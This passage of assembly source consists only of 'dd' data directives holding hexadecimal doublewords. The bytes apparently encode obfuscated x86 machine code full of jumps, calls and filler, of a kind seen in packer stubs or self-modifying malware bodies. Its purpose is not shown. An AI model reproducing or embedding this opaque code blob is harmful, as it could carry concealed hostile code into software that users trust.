		dd 60734ABEh, 5FF557FCh, 8B506061h, 0EE858F2h, 14000000h
		dd 0A7AA96BAh, 0C203C98Ch, 0BFB5048h, 830FCBh, 5F000000h
		dd 0FA8B6061h, 0DF8B61F5h, 8ACB8AF9h, 0C28166C3h, 8A0F8FC7h
		dd 0Ch,	68C0Fh,	8D0F0000h, 0
		dd 205ED0BAh, 0EE964h, 0B12A0000h, 39A23F58h, 7F5A10D2h
		dd 4B6282Dh, 60C7B70Fh,	11E9h, 7D28600h, 0AB84962h, 0ACAB6B6h
		dd 24B7D820h, 0BE9F4A1h, 83000000h, 0F65802E6h,	0D4284B13h
		dd 0F61931Ch, 985h, 38B0F00h, 66000000h, 8166F88Bh, 662D26D7h
		dd 0F8F158B8h, 2810FFCh, 0B5000000h, 5E878h, 81A0000h
		dd 0B34DCF61h, 9E958C3h, 89000000h, 2CCFDA93h, 99442B9Ah
		dd 0BAF88B66h, 9DBA7A5h, 0EE8h,	8E22FB00h, 7A21545Dh, 1A4E4E3Ah
		dd 806486B6h, 81599EF7h, 183D98D9h, 94BA6676h, 38A0F30h
		dd 66000000h, 840FC68Bh, 3, 66CBB70Fh, 81CC48BFh, 9F7728EBh
		dd 0E9C28B64h, 10h, 0A3494FBBh,	0B2E80F7Ch, 0CD488595h
		dd 0CAA0AA89h, 8FC18160h, 0F06CC6Fh, 86h, 5E96100h, 5B000000h
		dd 21E8B419h, 0DE857h, 50F40000h, 46E715F7h, 6F61A8BCh
		dd 5FA481E0h, 0CE81665Bh, 0BF0F7EB8h, 46F681C2h, 0F0283FAh
		dd 48Ch, 2FB96600h, 0FC18B54h, 68Fh, 0D2CF8100h, 66010BB6h
		dd 0B149E681h, 0AE8h, 0D6A5C00h, 999BE9D9h, 6075B326h
		dd 0BF77E280h, 27BE3775h, 8B665B61h, 0E08166FEh, 0BB665309h
		dd 20BAE092h, 0E9203D86h, 0Bh, 0E272B4DBh, 94B09ED5h, 0E9A2848Dh
		dd 0Ah,	62CDB2Eh, 0CB444D5Ch, 0BB667A38h, 60F55A22h, 3EE08166h
		dd 2830F2Ah, 8B000000h,	0D98B61DEh, 12E8h, 94856900h, 7A1580C0h
		dd 7137D2D6h, 7AEAEA7Ah, 0E8BBEAB5h, 6,	54A8B9F9h, 10E95542h
		dd 78000000h, 6B2246C5h, 0DFD34495h, 4DA9BA09h,	58E294AFh
		dd 0C6B96059h, 5052267Fh, 850Fh, 615B0000h, 0AE8h, 0D9593F00h
		dd 8FEB96DDh, 666EF41Eh, 5359D08Bh, 89E68166h, 55B55A9Dh
		dd 5E8h, 0DCA64A00h, 6659521Fh,	9DEAE181h, 0E861F860h
		dd 0Bh,	3EC9B1BDh, 0D75FDF79h, 81664D96h, 849926C3h, 6E85908h
		dd 1A000000h, 8506D78Fh, 0AE9FBh, 91BC0000h, 81D0E5C6h
		dd 6F58C134h, 66C8B659h, 66296DBFh, 99C3E281h, 62A778BEh
		dd 0B9DC8A1Ah, 77C5C25h, 8E8h, 0FED01C00h, 2996DBE8h, 0D6B70FA0h
		dd 0DE95Ah, 3CD40000h, 7DDD9667h, 2A62AE2Dh, 0E9B8B7FCh
		dd 0Dh,	97041AE4h, 0DBFA0BBCh, 181AD098h, 6DF281C7h, 0B8421676h
		dd 460048E7h, 81662FB7h, 0FCFC5DD3h, 327EBB66h,	0EE8h
		dd 288ABD00h, 4D6A1CFDh, 0AC3A10F2h, 664D1EA6h,	0B95BCE8Bh
		dd 4DA9C3E0h, 0BFCE8166h, 0E8F5F97Dh, 0Bh, 54E5C24Eh, 6FA76389h
		dd 6655AE56h, 0E95FC88Bh, 7, 22C8FB6Fh,	812E528Dh, 497E6DC8h
		dd 8180B51Bh, 0C76D52CAh, 3800F68h, 66000000h, 14E9D78Bh
		dd 0E5000000h, 6732E88Fh, 0B369137Ch, 9B696BA6h, 3707419h
		dd 81F4951Bh, 0A35279C8h, 60D58A32h, 6660CF8Bh,	8166FA8Bh
		dd 617F08EFh, 5E961h, 0E44E0000h, 66F00750h, 0E90EBDB9h
		dd 0Eh,	6FFF35BBh, 0C2D6EA9Eh, 64C0189Dh, 81666CE0h, 8172F8D7h
		dd 610779DBh, 0E9F38B3Bh, 14h, 48C9461h, 3547AC11h, 0A2E2E1E3h
		dd 76853BEh, 215A2A18h,	0A3DB8166h, 0DBBF0F33h,	9870Fh
		dd 850F0000h, 3, 606CEE80h, 0FCC88B66h,	0EE961h, 57630000h
		dd 43DDB4ECh, 76A0668Fh, 0D58080E5h, 0DE9h, 7775E800h
		dd 0F3C49353h, 5C951388h, 0E960E5AAh, 6, 0E5720987h, 0BA66DDC4h
		dd 0F6101A9h, 588h, 2718B800h, 63BF7BDBh, 0E82D3899h, 6
		dd 31BC2554h, 0C9B9D169h, 594F819Ch, 0CA816660h, 0E860B840h
		dd 6, 3A4B9540h, 665FD555h, 6EB2EA81h, 0F606161h, 68Bh
		dd 4DC08100h, 8158ECF3h, 1B8545C8h, 8B666164h, 816660D8h
		dd 61F99DE3h, 8166DE8Ah, 812ED1F1h, 0CE75EACEh,	0A860F7Bh
		dd 60000000h, 4FCF5DBFh, 0C6B70F27h, 0E7816661h, 81663E33h
		dd 0FBAE0E7h, 0E781CFBFh, 46322054h, 80F18B66h,	8ABE7DD8h
		dd 0B41D8DD7h, 8E9CAh, 42AA0000h, 289700DBh, 0C18B3160h
		dd 0EE831B0h, 0DD000000h, 132FB9C6h, 0D10D52D2h, 0C699FB4Eh
		dd 0D1E080BDh, 6CB86658h, 11E91Fh, 5E7E0000h, 70C2F4Ch
		dd 0FAA2864Ch, 0FCA3C9ECh, 0F5EDAE7Eh, 4800Fh, 0B9660000h
		dd 880F0160h, 2, 8F0FCE8Bh, 13h, 0EE9h,	0DC358600h, 1330D574h
		dd 4E4AD8DDh, 0E81D1C5Eh, 0Ch, 81CFBE3h, 5B1BF9C3h, 82DCBB2Ah
		dd 592FE080h, 0FA8B66FCh, 6E8h,	27EAA900h, 0FFA049Fh, 0F85FF6BFh
		dd 8E9h, 0F947A00h, 0D816C6F0h,	15BA665Dh, 12E9D5h, 9CDC0000h
		dd 442A1A4Ah, 0CC0A4E3Eh, 1355B045h, 4E42CFD0h,	0D38BDC8Ah
		dd 0E8DF8BF5h, 0Eh, 0BEED93CAh,	59F5EB04h, 56B66A17h, 0B70FE2B7h
		dd 0FF85BCEh, 14E9D0BFh, 0D6000000h, 16FAEC5Dh,	7A28C1A4h
		dd 39D00D6Bh, 81CBFB10h, 0E82FD59Dh, 13h, 0D00E5D98h, 406011F0h
		dd 0CF647D8Ah, 9CBEB596h, 0F2A20ACh, 281h, 58D08B00h, 0B494BA66h
		dd 0FCC38B66h, 6E9h, 452EC700h,	8BE6C08Ah, 8BDE8AF8h, 15800FDEh
		dd 0F000000h, 0F89h, 9E800h, 19360000h,	9200F079h, 5AA8DBAAh
		dd 1F8A0Fh, 0E9600000h,	12h, 2366A036h,	1E017CBDh, 5721FB76h
		dd 7BD01F2Ah, 0C78127C5h, 177AE78Ch, 0F8B86661h, 766CBF4Fh
		dd 81665D38h, 662AEFF1h, 0AEBAC781h, 0FF28B66h,	880h, 2890F00h
		dd 0B2000000h, 6689B258h, 6027F181h, 0BBF98B66h, 51E7968Ch
		dd 0DE9h, 6DF6DA00h, 0DC73E612h, 0A0C7A35Ah, 0BE95A01h
		dd 3F000000h, 0C827DD30h, 0BD1157AEh, 8B664592h, 32B966FAh
		dd 0BFD0812Bh, 8B2F61CFh, 0D78B66DEh, 11E960h, 8F950000h
		dd 5EFD2218h, 0D5EB24B1h, 761FE0EDh, 0F996CACAh, 0C7816661h
		dd 0BA537C56h, 5F1F4579h, 0FC8A605Bh, 20F9B966h, 0FA8B6661h
		dd 8BF6F081h, 70B54263h, 61D98A60h, 810FD78Bh, 0Dh, 880F60h
		dd 0B9000000h, 767B7EC3h, 11E861h, 91FC0000h, 9CDC5D86h
		dd 442A1A4Ah, 0CC0A4E3Eh, 6655B045h, 1EEFD281h,	880F5Fh
		dd 56000000h, 0BFB0BE66h, 3CD5BE5Ah, 11E937CFh,	7A000000h
		dd 0D60656B7h, 8EE11756h, 0F8B072A2h, 75EF85B2h, 0D4E18166h
		dd 0C681F82Dh, 6E4F89FEh, 19850Fh, 14E90000h, 4C000000h
		dd 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 606A2ED2h
		dd 0D8808BB1h, 6E8612Fh, 9F000000h, 42D3994Eh, 10E8AAh
		dd 0E1D40000h, 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 5F581F7Fh
		dd 0FA6C680h, 18Eh, 0C081FC00h,	521A83EAh, 0E9F960F5h
		dd 14h,	0F37BF6F0h, 0E89AD391h,	0D95B4097h, 0E56423FFh
		dd 9CE86986h, 12E961h, 69DA0000h, 9ACFB8B4h, 0B80286ACh
		dd 0EC4A469Dh, 35C8B439h, 8890Fh, 66600000h, 51ACC1B9h
		dd 0EF8A615Fh, 0EE9h, 319BC100h, 0B224728Eh, 4D2ABD19h
		dd 0B9195A32h, 0C7E8E99h, 0FC9BF0Fh, 8A0FD7BFh,	14h, 0FE9h
		dd 75F03400h, 13FBF88Fh, 355DC9FEh, 0C9ADBCE1h,	12E8h
		dd 0CE13CB00h, 0F2871434h, 0E167ED52h, 957610BEh, 0F216921h
		dd 28Dh, 5BC38A00h, 5800Fh, 81660000h, 0F6855E1h, 0D8Fh
		dd 8E900h, 668F0000h, 80E576A0h, 0C980D580h, 0D18B66EFh
		dd 1B850Fh, 13E80000h, 0A3000000h, 0CAC8B30Bh, 0AF2EF6Ch
		dd 2B5B7A78h, 391B67A7h, 0CF8BBF39h, 0F860515Fh, 5A6143B5h
		dd 17840Fh, 0E8530000h,	0Fh, 0B093BF31h, 50CAB4F3h, 5942704Dh
		dd 58487DC6h, 0C480565Ah, 4DBB5AD5h, 0F0EE95Dh,	8166D1B7h
		dd 8A9F90C9h, 0EE8E7h, 98C30000h, 0FE3FB28h, 518A3CC9h
		dd 0B36F0A03h, 0CAB70F51h, 65B05B5Fh, 0DE9FCh, 0D8820000h
		dd 0EECB6229h, 5806F0CFh, 0E96AEAFAh, 12h, 4420C612h, 43B89FCh
		dd 0A3A83E16h, 8F22C2CDh, 7E95FEFh, 65000000h, 90BD2F83h
		dd 0B70FD06Eh, 0AE10BFD2h, 9E93A82h, 5A000000h,	706786CBh
		dd 0D2B5D2BCh, 0F60FB8Bh, 288h,	0E835B000h, 0Ah, 0B67E54B4h
		dd 0B1790802h, 0B866F8CDh, 6159076Ch, 0C25BD881h, 870F1679h
		dd 3, 80D8B70Fh, 0DE977CEh, 71000000h, 0C9A501E5h, 85A360AAh
		dd 0B947F076h, 66F8B70Fh, 81730CB9h, 0AF61ECCFh, 0CC2812Ah
		dd 8171CC4Ch, 339B84C6h, 97CD8060h, 7E8h, 19F89D00h, 0E1A5E99Bh
		dd 108A0Fh, 0AE80000h, 0C6000000h, 30697E11h, 0F183A7C7h
		dd 0E95F5A38h, 13h, 45F0E4EEh, 4CD03A5Ch, 4AF6F199h, 0A077CCBCh
		dd 0E86B5951h, 0Eh, 9C6D30AFh, 0DC874EE5h, 0BC068C2Eh
		dd 810FD9E8h, 0
		dd 54C6815Bh, 8B300EF8h, 0DCCEBFDAh, 0FE91870h,	2A000000h
		dd 0C0341AF4h, 351328E0h, 32B12447h, 14E9AC16h,	51000000h
		dd 5CEE061Eh, 0D6EB0F95h, 0D628CD61h, 58E8B570h, 0F4B8B3Ch
		dd 198Ah, 0EE800h, 1B8C0000h, 0A37B462Ch, 4F7A44F6h, 0CC24341Eh
		dd 0A0FAC0BFh, 0B70F5F08h, 0CF8B66DAh, 181BA66h, 0FDFBF0Fh
		dd 68Ch, 0C2F68100h, 0F7F54ABh,	188Ch, 12800F00h, 0E9000000h
		dd 0Dh,	0C637716Ah, 16424733h, 0EEA863FCh, 91C5800Eh, 81EED280h
		dd 6D1ACBD8h, 0D7816619h, 57F52603h, 13E9h, 0F7599500h
		dd 53EFD354h, 1075830Bh, 6D910527h, 0A5B41433h,	8E0F565Eh
		dd 3, 58D9BF0Fh, 11E9h,	0F05CD00h, 0DCB35FDBh, 98ECBB9Ah
		dd 27A5FF4Bh, 5CB86300h, 0F84BBB49h, 0C54ABE66h, 840F56F5h
		dd 4, 9268BB66h, 6E86058h, 0A2000000h, 0EEA3735Bh, 830FD7h
		dd 5E000000h, 0E9C28061h, 80DA8B66h, 0CFB9EEE8h, 665148FCh
		dd 0DE81D38Bh, 2EA2AF85h, 0F560F1B7h, 61D6B70Fh, 2131BFFCh
		dd 0D0805E63h, 0C1B70FA6h, 7DC680F8h, 0FE8h, 27D09B00h
		dd 6D547945h, 0A3D09778h, 0A17E19B5h, 5F83B551h, 38C0F5Fh
		dd 80000000h, 60B347EFh, 0FCD1B70Fh, 3FD2EF81h,	8E919EAh
		dd 0AA000000h, 8766D12h, 6696A46Dh, 0D081DE8Bh,	585BF1ADh
		dd 28D0Fh, 2CB30000h, 1890Fh, 66F90000h, 0C859EF81h, 0DE953h
		dd 9C810000h, 3002CEF9h, 0D542D426h, 5B061BFEh,	0DBEB8166h
		dd 0B86660A7h, 8B665704h, 0D48A61C3h, 0AE8CE8Bh, 67000000h
		dd 7A2DB159h, 2CA9FBBEh, 28A0FECh, 60000000h, 0B70F5E61h
		dd 158E0FF0h, 0E9000000h, 10h, 0E895B7CFh, 2047F138h, 0D3DB537Fh
		dd 73F2EE04h, 850FF48Ah, 3, 0FC78B66h, 68Ch, 0D1F18100h
		dd 0F29DC14h, 38Dh, 0D2B70F00h,	28BA6657h, 8FBA5FDAh, 0E97FBE47h
		dd 12h,	0F81CDB0h, 7F9EAA27h, 92BBA041h, 39AEB283h, 0B260D7D6h
		dd 0EE9615Fh, 7D000000h, 0EBD95F81h, 4BF17428h,	0B57CB106h
		dd 13E95Ch, 69950000h, 8249BC1Dh, 0E1C8505Fh, 3FB1DB59h
		dd 0E7BBF3C5h, 29B9669Ch, 9E870h, 0A9FC0000h, 338349EFh
		dd 0FD0C452h, 58Dh, 0EA816600h,	0B25967BBh, 0D08B6084h
		dd 0E861A3B3h, 7, 29839FFCh, 0E9356D2Bh, 11h, 8469CA5Fh
		dd 0F7F9E7CEh, 0FDBC11F4h, 0FE6864C8h, 0B70F5930h, 0C38166F6h
		dd 0F601DA2h, 0E961CFBFh, 6, 0B66E9E8Bh, 0EE983B2h, 0DE000000h
		dd 6221AC0Bh, 3FA9AC53h, 0FE25C0Dh, 32F1817Eh, 0BE754C8Bh
		dd 11FD810Ch, 3DB6F98Bh, 0E9CBB70Fh, 13h, 27205FD2h, 406FC1D5h
		dd 0B78F1C3h, 1AB60636h, 0FD4EE4Eh, 0C8Eh, 6870F00h, 0F000000h
		dd 80h,	90A7BE00h, 0BE667417h, 8B66D9D4h, 0E38166C7h, 0CA804C05h
		dd 7840FF1h, 0F000000h,	183h, 0EC80F900h, 0E9606026h, 13h
		dd 1E131B31h, 603D7150h, 0CAC985FCh, 0A2727453h, 0E9B9A9AEh
		dd 9, 1EFF9E2Ah, 55F17664h, 0E960615Ah,	0Ch, 0ADEE1945h
		dd 17EC2813h, 0B4296227h, 0DF8B6161h, 17C480FCh, 9C36BF66h
		dd 0BE66C78Bh, 0D880782Fh, 68C0FC3h, 0F000000h,	81h, 0C880F500h
		dd 8800F15h, 0F000000h,	28Fh, 0FF08B00h, 0C980FEB7h, 890F66h
		dd 81000000h, 5CD60CD1h, 0BF0F6023h, 0BF6657CFh, 615F5618h
		dd 81C28B66h, 0B69108F6h, 0AE96Bh, 0FCD70000h, 98E20752h
		dd 1027F571h, 5850Fh, 81660000h, 0E93EDBF0h, 0Ah, 385BF1E4h
		dd 8E0AA0EAh, 27BA0EF5h, 6017ECDDh, 0EE9h, 288F2500h, 0CC8B7F08h
		dd 510994h, 80186C6Dh, 666131CEh, 0BFD728B9h, 24E1E72Fh
		dd 80F0BF0Fh, 820F2CDCh, 2, 19B9C8B1h, 0E8333B84h, 0Eh
		dd 31A3D53h, 0B935A505h, 4180ACFCh, 0B95AF4A3h,	17346F1Ch
		dd 12E9h, 0B927F400h, 0A8440C9Eh, 0C8F5F839h, 695EE56Ch
		dd 0F2EC5D0h, 0E781D2B7h, 6DAC34E8h, 0FEBF0F60h, 0EE9h
		dd 7C814800h, 689EBD65h, 0BB63BDA8h, 61AD96F7h,	0B55A50F5h
		dd 12E982h, 9C560000h, 24A56AC4h, 92972A1Fh, 68E2F727h
		dd 9F644DFCh, 13860Fh, 0EE90000h, 99000000h, 99B05934h
		dd 0F653AC1Dh, 9E3D6FB4h, 0AE9E8h, 0D910000h, 200000Eh
		dd 0F4C5F662h, 0E9DA8B66h, 9, 8FB14B5Ah, 9B656A04h, 13E915h
		dd 91500000h, 6B980CF2h, 439FBC6Bh, 0EBB9FA51h,	674AE348h
		dd 830FC4h, 66000000h, 0F55E9BB8h, 80DE8B66h, 5BFACD3h
		dd 8036A9B9h, 0EE98BF4h, 0C0000000h, 592E337Fh,	5C4A969Ah
		dd 0BAF70FD1h, 9E85697h, 0AD000000h, 32ABA2F1h,	1753FB38h
		dd 93FEF181h, 5A5907A6h, 1A15E781h, 0D98B42B6h,	66F2BF0Fh
		dd 0E850F78Bh, 11h, 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0B7257168h
		dd 5EF38B6Bh, 17C28058h, 0B70F5E57h, 0CF8B66FAh, 81C7B70Fh
		dd 2EE923CAh, 71DD8013h, 7E9D98Bh, 0AD000000h, 8A65F30Fh
		dd 0FFC12E0h, 0E853F8BFh, 13h, 47B232D5h, 93CCB86Bh, 0BC8FF90Fh
		dd 42980DC3h, 81AD49F1h, 38B453EAh, 66595A3Bh, 0F6043BEh
		dd 6660DBB7h, 745DDE81h, 0BE9h,	0D3B8F800h, 62651B73h
		dd 860E5B6Fh, 37B86661h, 0F20B362h, 1A8Bh, 11E800h, 85330000h
		dd 3821E246h, 704EC4C0h, 796B965Dh, 6693E102h, 605AFB8Bh
		dd 11E957h, 45B90000h, 0B4E61DDBh, 6347FA1Fh, 89F8AD45h
		dd 58ED632Fh, 8F0F56h, 58000000h, 9CCA8061h, 1840Fh, 8AF90000h
		dd 0D18B66FDh, 0FE8h, 0BBBE3A00h, 0FEDCB700h, 0D100455Ch
		dd 79A60EBh, 0A7D78160h, 60624E72h, 0B25E6161h,	0C6BF0F96h
		dd 8F0Fh, 81660000h, 817E23C3h,	5767F3D3h, 0DABB667Bh
		dd 0DA8B66E4h, 9E9h, 0C29B5C00h, 47D48170h, 0E95372ADh
		dd 14h,	9CE95066h, 357670C1h, 10699ECCh, 0FBB1DF8Bh, 9FE42BFAh
		dd 0C8B9665Fh, 6C0807Fh, 0CAB70F60h, 0CF9B861h,	850F5829h
		dd 16h,	11E9h, 3AAF9300h, 0AC54B2A1h, 82D82538h, 1F581198h
		dd 8A0F773Eh, 17h, 12E9h, 875C6000h, 7B5F134Ah,	0A3C3AAAAh
		dd 29F3133Eh, 66BD643Bh, 0A046C981h, 0BA668DB6h, 0DE90AD4h
		dd 37000000h, 2CE81997h, 3CAD011Dh, 4A55610Eh, 0EE8F8h
		dd 98DC0000h, 0AD04281Bh, 0F195C641h, 20E6C1BAh, 59C0EB80h
		dd 2688BB66h, 8B76C980h, 0FBB70FD0h, 4850Fh, 0BB660000h
		dd 0E9600A14h, 0Dh, 7D0A39AAh, 0B22DB9E4h, 0F4D807A8h
		dd 0F9BF0FF0h, 8BC38B61h, 6655B6D7h, 0F3CCABFh,	80F5D8B7h
		dd 0E85664F1h, 10h, 0DAEDEF2h, 0FD374E55h, 22AC3641h, 0B1337849h
		dd 0CE8h, 0FD0D300h, 6605AAFCh,	1D80F83Eh, 585E590Dh, 11E9h
		dd 2AA7B800h, 0D9B8CE4Fh, 673A6DEEh, 2B2601F4h,	8166AF40h
		dd 6642BFC7h, 0BAA883B8h, 1D8A59FDh, 8E0F8DB0h,	0
		dd 68F0Fh, 0E7810000h, 1655F45Dh, 0AAE4BF66h, 9E9h, 0E12F1700h
		dd 0C5DC3476h, 0D9806972h, 8BD1B577h, 0CB8166D0h, 0FE92C2Fh
		dd 3D000000h, 29E8ECEBh, 84A7B252h, 1ACB1E7Ch, 0B8663541h
		dd 810FAA29h, 3, 0E814F680h, 8,	0CCAEAFA7h, 6472CE29h
		dd 66585BB4h, 7E9C68Bh,	7000000h, 0F57198E2h, 0BA661027h
		dd 12E88634h, 13000000h, 0E1DC30D8h, 4FDFE9A5h,	0CF6CAAADh
		dd 0FEBAACAEh, 1AD8BF92h, 0E9581FA4h, 0Eh, 95FA85CFh, 0B669BC3Dh
		dd 0E2AEAD4Bh, 9AB92B79h, 0F158D91h, 3EBAD2BFh,	0F4B9EE6h
		dd 0A87h, 4810F00h, 66000000h, 0F9CD4BAh, 2889h, 11E800h
		dd 90B60000h, 0F29EC761h, 27A3FA43h, 0E300A77Eh, 0E8433302h
		dd 0Bh,	7272A449h, 2541AAE0h, 5BFD82C7h, 8166535Bh, 58D0E5DFh
		dd 0C9BF0FF5h, 0C7BF0F60h, 61D0B70Fh, 0B952FB8Bh, 41312FE0h
		dd 0FE958h, 0BB330000h,	0B3FC4627h, 301F4AEBh, 6FD3D4FDh
		dd 5E962h, 88FE0000h, 0E864FE34h, 0Fh, 4CF2282h, 0B9E70E2Ah
		dd 0D8D82BDEh, 0F96A223Fh, 3648BA58h, 10E838D1h, 0B9000000h
		dd 5AD351FAh, 0D7627D50h, 0F2F87003h, 0B08FFD2Dh, 5F515E69h
		dd 13E9h, 68191700h, 54889E5Dh,	751A97E2h, 0B3FD4921h
		dd 0D38C47Ah, 0C2C08160h, 662629B5h, 76CCC881h,	18810F61h
		dd 0E9000000h, 13h, 743D1D70h, 0AA398A34h, 908CC0B0h, 0C05EAA67h
		dd 8001C96Ah, 13E854E1h, 99000000h, 75D54383h, 0BA0C54D2h
		dd 0A00166DEh, 5A98757Bh, 0BE91FF7h, 71000000h,	0E9DCB85Bh
		dd 0BD8393A0h, 805A559Ch, 0B96615D5h, 0F60584Dh, 689h
		dd 860F00h, 0B6000000h,	0BB6661A2h, 0DF8B4791h,	0E850EC80h
		dd 14h,	2B4B041Eh, 6883D037h, 694B317h,	0B07C96F4h, 69740082h
		dd 0BDBF665Fh, 19870FA7h, 0E9000000h, 14h, 6D09E8CCh, 852AF1Bh
		dd 0BCFB43A9h, 0E88280Fh, 24635815h, 10E860h, 0C4A40000h
		dd 91DB79B2h, 5C53926Bh, 82608308h, 12B624D0h, 5A52605Fh
		dd 61D18B66h, 0DBB70F61h, 11E9h, 0C3754C00h, 98E1694h
		dd 0E383F99Bh, 0BF554417h, 81662857h, 6649F4C3h, 2DF6F081h
		dd 0C9BA6660h, 8E889h, 0D5590000h, 0D9AB5F83h, 0CB8A086Fh
		dd 0D88B615Ah, 0AE9h, 7775900h,	3C8EB3B1h, 0FEB05E1h, 282h
		dd 0E9FA8B00h, 0Ah, 0C117367Ah,	42DC7B59h, 0E38A728Dh
		dd 5840Fh, 9BB90000h, 0E92241AAh, 10h, 6C41937Eh, 0CA57412Ch
		dd 69A36491h, 39B8AE23h, 0FE8h,	7350B000h, 77345F86h, 451B93F8h
		dd 0F2D45655h, 0B0DE8166h, 0BB665BC3h, 0F606DE7h, 1887h
		dd 12E800h, 5DA60000h, 0B2A909BCh, 4DC0776Ch, 6C08BFE0h
		dd 8F7A8425h, 8161F85Eh, 2BA53F7h, 2870F5Dh, 8B000000h
		dd 12E9D0h, 2D0C0000h, 0A55A167h, 0F04DD021h, 0C69F1974h
		dd 6BF89FEBh, 66C9BF0Fh, 8157AFBAh, 3D08CBD6h, 0AEEA804Bh
		dd 8057B2B1h, 0F5BB3CAh, 1485h,	0FE900h, 0A1C90000h, 95741C27h
		dd 70B6797h, 0C6D89945h, 11810F4Eh, 0E9000000h,	0Ch, 0A32C2638h
		dd 59E76E71h, 6C64FC31h, 0B6D78150h, 5F51523Bh,	12E8h
		dd 0FFABF500h, 98C2B3C5h, 0C366151h, 85FF6B1Ch,	819AF4AAh
		dd 0F4130EE8h, 6E95907h, 78000000h, 0F645622Bh,	0A8EB8146h
		dd 6659FA5Ch, 0A5F8E781h, 0E9F18B66h, 8, 0B49EB158h, 0A17877h
		dd 0FE9h, 0FB29B300h, 9D2C6832h, 19ADCCD2h, 0B21E706h
		dd 34AFE081h, 10E959BBh, 0A4000000h, 640E6904h,	7D18D026h
		dd 59A6E7Ah, 8BA3A396h,	28A0FD7h, 8A000000h, 7840FC2h
		dd 56000000h, 4EE915BAh, 0D8BA5833h, 0BF66F370h, 5F56DA60h
		dd 0FBD28166h, 7E9E6h, 0DC2B0000h, 4E4D8E92h, 0FAB70F5Fh
		dd 375DBF66h, 0C8A0Fh, 7E90000h, 10000000h, 789A837Ah
		dd 0CC80116Ah, 0F606006h, 86h, 61D88B00h, 66616060h, 61C383BAh
		dd 0D7B70F61h, 8BF1B70Fh, 7CBE66FBh, 8E98Fh, 0FF7C0000h
		dd 0F78CB5ACh, 0B70F5231h, 0F38166DAh, 6E80C8Eh, 35000000h
		dd 0E417834Dh, 8E0FCBh,	59000000h, 5FB4EB9h, 78E0F53h
		dd 56000000h, 2DC68166h, 0CE9586Eh, 0D3000000h,	594E5F00h
		dd 0C224027Ah, 0E918DDD3h, 0Eh,	0C10299EFh, 9862449Eh
		dd 0DA1DA7F1h, 0BA661C29h, 66FC7BFFh, 0FF5CE8Bh, 0BB66C8B7h
		dd 8B6655E7h, 0EF8166FEh, 60605614h, 0B261FDB1h, 1AB9616Ch
		dd 516F7199h, 66616060h, 61BD11BBh, 13E95Fh, 89F60000h
		dd 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 7E8ACh
		dd 33420000h, 0EAEE2C03h, 0BB666086h, 0B866D21Ah, 5B613069h
		dd 0CE9h, 6DEBBC00h, 0A3292BF5h, 0AF7C439Ch, 850F50EDh
		dd 0Ch,	6E8h, 0AE5DF800h, 5A4EE912h, 5BF5575Eh,	13E9h
		dd 4B0E0600h, 0CC5743E5h, 32B8A180h, 914A1D17h,	0A9DA9DE4h
		dd 0F945C081h, 0B70F36FAh, 0CBB1FCCBh, 0CE89B866h, 0BE9h
		dd 0B4575B00h, 0B362C19Eh, 3648C8F1h, 7B1A21B9h, 18B0F1Fh
		dd 0F8000000h, 16850Fh,	0BE80000h, 0F9000000h, 0CB608250h
		dd 0BB424A74h, 8166FA74h, 59111DC1h, 6223DF81h,	53F97FB9h
		dd 949817B9h, 0FE85A3Fh, 9000000h, 6DBF86Fh, 0C2433AC1h
		dd 6549B908h, 840F11F8h, 1, 81F858FCh, 0B35219EFh, 188B0F10h
		dd 0E9000000h, 13h, 8579F41Fh, 0C5775764h, 9C20AEFBh, 8A86646Eh
		dd 81CAC3C3h, 51A3FBD7h, 0B4DF816Dh, 0E95AC638h, 9, 0B2B5F03h
		dd 0ED1F5D1Bh, 8160F892h, 0A740E6D6h, 0CF8B6663h, 0CA816661h
		dd 0AB71EB7h, 5F5CB966h, 0F52EF8Ah, 1488h, 0FE900h, 0DE450000h
		dd 5361641Fh, 0FCBFF455h, 7C4BD77Ah, 0B8665917h, 8E8B7FCh
		dd 0F6000000h, 0A2160054h, 66498BAAh, 521AE381h, 8A5F5058h
		dd 0EF8166FDh, 0C9803C68h, 0F18B66AAh, 525AF850h, 59B5EE80h
		dd 1890Fh, 0E9F90000h, 10h, 0C6163C55h,	5534F5ECh, 981BF2Fh
		dd 856B32A4h, 0DF85CF81h, 8B662C9Bh, 14E8F2h, 0BAA30000h
		dd 9F55242Bh, 8E659A2h,	0F9B3EA7Dh, 873FE3ABh, 0D18B7577h
		dd 0BA66605Bh, 0BF0F7E32h, 575161CFh, 5B28DA80h, 0FAB70F5Fh
		dd 9E9F560h, 6A000000h,	964A70C5h, 86F1C97Ah, 0C3D38061h
		dd 0BF66CB8Ah, 8E86C4Ah, 15000000h, 12D944EBh, 0E90CE4BAh
		dd 0Dh,	0EED62EC6h, 3AAF936Ch, 0AC54B2A1h, 55BE5B38h, 8B4ED5A2h
		dd 0CE8166C1h, 816617B5h, 8B81F7DFh, 0CBBF0FCBh, 13E9h
		dd 2A9B0400h, 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h, 9339E5D9h
		dd 28D08166h, 74E3804Bh, 11E860h, 0E1A30000h, 0EC076C22h
		dd 0E60A8844h, 55EE31FBh, 0B8447BA1h, 532FDA9Fh, 8166615Bh
		dd 818829CBh, 80D210C0h, 0E4DA8109h, 0F0B1ED5h,	8E9D0B7h
		dd 0D9000000h, 4D5EE187h, 8160F89Eh, 0FA4185E9h, 0C3D4802Ch
		dd 12E9h, 0B192F100h, 0F6DE0A50h, 38F3F449h, 62F659D2h
		dd 0BE9B6F22h, 1A333174h, 613020BFh, 0CBB70F40h, 605852FCh
		dd 0D2D679BEh, 0B70F570Dh, 0E96159F6h, 0Bh, 160DA97Ah
		dd 361E4195h, 0F8B2053h, 582h, 88EEBF00h, 0EDBE2328h, 0BF4F2272h
		dd 60230EFCh, 79B8DB81h, 0B8603EE3h, 5571E302h,	61FAB70Fh
		dd 0B8CAB70Fh, 7D4AEF5Ah, 3942F181h, 0CB8166E7h, 43D0A8EDh
		dd 11E9h, 9750D400h, 0F0EB4178h
		dd 4C36522h, 0A6C17A5Eh, 34BE6259h, 516B82FFh, 3850Fh
		dd 0B70F0000h, 0FBF5AF2h, 0E935933Bh, 11h, 99996497h, 0A1667E84h
		dd 423D4B26h, 0A9B39A64h, 5AFC5234h, 8B666057h,	8D0FDFh
		dd 61000000h, 0FA8B6659h, 10E9h, 6A67D000h, 0E9401566h
		dd 0A8A5E6ECh, 0EF51BEB0h, 0F8BF0F01h, 27CB80FCh, 14E9BBB2h
